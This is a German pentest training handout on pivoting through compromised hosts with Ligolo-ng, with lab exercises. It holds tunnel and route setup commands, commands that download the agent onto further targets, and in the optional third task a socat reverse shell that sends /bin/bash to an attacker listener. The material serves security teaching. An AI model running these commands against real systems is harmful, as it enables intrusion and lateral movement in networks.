LigoloNG
= erweiterte Version von Ligolo, einem Sicherheitstool, das für Red-Teaming und Pentests entwickelt wurde. Es ermöglicht sichere, multiplexierte und authentifizierte Tunnel.
Hauptmerkmale:
-
Proxy-Funktionen
- fungiert als Reverse Proxy
- ermöglicht weiterleiten von Datenverkehr über kompromittierte Systeme
-
Multiplexing
- Unterstützung mehrerer gleichzeitiger Datenströme über eine Verbindung
-
Verschlüsselung
- Gesamter Datenverkehr kann verschlüsselt werden
- Beugt Entdeckung vor
-
Authenzifierung
- Unterstützt starke Authentifizierungsmechanismen
- Verbindungsaufbau nur von autorisierten Benutzern
-
Benutzerfreundlichkeit
- Einfachen Kommandozeilenschnittstelle
- Umfassende Dokumentation
-
Ermöglicht es, eine sichere und zuverlässige Verbindung in Zielnetzwerken aufzubauen
-
Statt mit einem SOCKS Proxy oder UDP/TCP Forwardern zu arbeiten, wird mit Hilfe von Gvisor ein Networkstack im Userland erstellt
- es werden keine Root-Rechte für die Anwendung auf dem Zielsystem benötigt
- Nachteil: es können über den Agent keine Raw Packets versendet werden; Nmap SYN-Scans werden dann z. B. zu TCP Connect-Scans umgewandelt
Verwendung
- Ligolo-ng verwendet ein Proxy-Server-Agent-Modell
- entsprechende Binaries müssen auf dem Target bzw. dem Attacker vorhanden sein
Verbindungsaufbau
Zunächst muss der Server (Attacker) vorbereitet werden:
# TunTap für die Kommunikation mit den Tunnel erstellen
# Pro Tunnel muss ein eigenes TunTap angelegt werden
# Username = Username auf Attacker (z.B. kali)
sudo ip tuntap add user [username] mode tun ligolo
sudo ip link set ligolo up
# Anschließend aktivieren des TunTap
sudo ip link set ligolo up
# Nun kann der Proxy auf dem Attacker gestartet werden
./proxy -selfcert
-selfcert sorgt dafür, dass die für die Verbindung genutzten Zertifikate selbst signiert werden.
Auf dem Target startet man den übertragenen Agent:
# Ignore-Cert wegen selfcert
# Port standardmäßig 11601
./agent -connect <attacker_ip_address>:<port> -ignore-cert
Single Pivot
Nachdem man durch sich Anzeigen lassen der angeschlossenen Netzwerke mittels ifconfig das interne Netz identifiziert hat, kann die Verbindung zum Tunneln eingerichtet werden.
# Hinzufügen einer Route in identifiziertes Netzwerk über TunTap
sudo ip route add <network_address>/<CIDR> dev ligolo
# Anschließendes Aktivieren von Tunneling in der Session
session # Anschließend mit Tab/Pfeiltasten auswählen
tunnel_start --tun ligolo
Es bietet sich an, den Namen des TunTap direkt anzugeben, auch wenn, gerade bei nur einem vorhandenen, die Auswahl automatisiert stattfindet. Spätestens beim Hinzufügen weiterer TunTaps müssen die Namen explizit angegeben werden.
Im Anschluss daran kann die Portweiterleitung eingerichtet werden:
# Innerhalb der Session anlegen eines Listeners
# Spezifische IP Adressen der Intfaces sowie 0.0.0.0 möglich
listener_add --addr <listener_ip_addr>:<listen_port>
--to <target_ip_addr>:<target_port>
# Anzeigen der vorhandenen Listener
listener_list
# Stoppen von Listener
listener_stop
Multi Pivot
Ist der erste Hop genommen und Ligolo verbunden, ist das Weiterspringen von diesem Rechner einfach umgesetzt, vorausgesetzt, das nächste Ziel wurde bereits genommen. Durch den vorhandenen Tunnel loggt man sich auf dem nächsten Target ein, verbringt den Agent und startet einen Backconnect über die Portweiterleitung.
# Portweiterleitungen einrichten (Backconnect und DataTransfer)
listener_add --addr 0.0.0.0:8000 --to 0.0.0.0:80 # Data Transfer
listener_add --addr 0.0.0.0:11601 --to 0.0.0.0:11601 # Ligolo
# Agent auf nächstem Target herunterladen
# Unix
wget <addr>:8000:/agent
# Windows
invoke-webrequest -URI <addr>:8000:/agent.exe -usebasicparsing -outfile agent.exe
# Connect
# Unix
./agent -connect <addr>:11601 -ignore-cert
# Windows
./agent.exe -connect <addr>:11601 -ignore-cert
# IP Config in neuer Session checken
session # Anschließend mit Tab/Pfeiltasten auswählen
ipconfig
# Neues TunTap auf Attacker einrichten
sudo ip tuntap add user [username] mode tun ligolo2
sudo ip link set ligolo2 up
# Route in aufgeklärtes weiteres internes Netz anlegen
sudo ip route add <network_address>/<CIDR> dev ligolo2
# Tunneling in neuer Session starten
start --tun ligolo2
Localhost Pivot
Um den Localhost einer Pivot-Maschine zu erreichen, kann man eine Route zur “Magic” IP-Adresse 240.0.0.1/32 erstellen und über das TunTap laufen lassen, dessen Weiterleitung in der entsprechenden Session aktiviert ist:
# TunTap und Route anlegen
sudo ip tuntap add user [username] mode tun ligolo3
sudo ip link set ligolo3 up
sudo ip route add 240.0.0.1/32 dev ligolo3
# Weiterleitung in Sessio aktivieren (hier auf Webserver)
start --tun ligolo3
# Aufrufen der öffentlichen Webseite (Annahme: über ligolo2)
curl 10.10.1.253
<html>
<head>
<title> Pivoting Exercise Website</title>
</head>
<body>
<h1> Ihr koennt die oeffentliche Seite sehen - Super :) </h1>
</body>
</html>
# Aufrufen der internen Webseite
curl 240.0.0.1
<html>
<head>
<title> Pivoting Exercise Internal Website</title>
</head>
<body>
<h1> Nun habt ihr auch die interne Website - Klasse!</h1>
</body>
</html>
Aufgabe 1
Zunächst sollt ihr euch mit dem Single Pivot beüben. Nehmt direkt den ersten Debian als Ziel, richtet alles ein und führt den Agent aus. Macht euch mit den hier vorgestellten Befehlen vertraut und scannt das dahinterliegende Netz nach neuen Zielen.
Wie oben aufgeführt.
Aufgabe 2
Nachdem ihr praktische Erfahrung mit dem Single Pivot sammeln konntet, sollt ihr jetzt die Strecke bis zum Webserver mit den Multi Pivot Ansätze vervollständigen. Der Weg zum Ziel ist euch wieder freigestellt, es bietet sich jedoch auch hier an, eine Windows Maschine auf dem Weg mitzunehmen.
Wie oben aufgeführt.
Aufgabe 3 (optional)
Übt nun den Einsatz von Reverse Shells, indem ihr euer Wissen der Portweiterleitung bei Ligolo mit einer Reverse Shell eurer Wahl verbindet.
Weitermachen mit dem Stand nach Aufgabe 2.
Listener auf Agent vor Revshell-Target auslegen:
# Ligolo
# session
# Target auswählen
listener_add --addr 0.0.0.0:8000 --to 0.0.0.0:8000
Dann:
# Attacker
socat TCP-L:8000 FILE:$(tty),raw,echo=0
# Target
./socat TCP:10.10.1.254:8000 EXEC:"/bin/bash",pty,stderr,sigint,setsid,sane
Und man erhält eine Revshell.
Mittels Ligolo könnte man einen Listener einrichten, mit dem man die Revshell (falls länger) bspw. per Python-Webserver rübergeschickt bekommt.